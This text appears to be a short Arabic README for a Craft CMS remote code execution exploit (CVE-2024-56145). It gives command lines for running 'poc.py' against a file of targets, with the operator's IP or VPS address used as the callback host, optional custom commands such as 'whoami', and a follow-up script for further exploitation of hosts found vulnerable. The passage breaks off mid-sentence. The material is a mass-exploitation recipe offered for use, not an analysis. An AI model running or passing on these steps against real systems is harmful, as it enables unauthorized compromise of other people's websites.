CVE-2024-56145-craftcms-rce

قبل تشغيل السكربت مرة أخرى، قم بـ

fuser -k 6666/tcp

الاستخدام -

python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200

يمكن استخدام أمر مخصص مثل python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami"

-i هو عنوان IP الخاص بك أو عنوان IP الخاص بـ VPS (استخدم ذلك عن طريق تنفيذ ipconfig / ifconfig).

مثل - python3 poc.py -f targets.txt -i 165.22.104.140 -pr 4 -t 200

الاستغلال اليدوي، قم بتشغيل poc.py أعلاه ضد الأهداف التي لديك، سترى ملف مخرجات يحتوي على الأهداف المعرضة للخطر

والآن ماذا؟ لديك هدف معرض للخطر ولكنك تريد اللعب أكثر؟ لذا أضفت poc2.py وهو للاختبار اليدوي ضد الهدف، كيف تفعل ذلك؟ قم بـ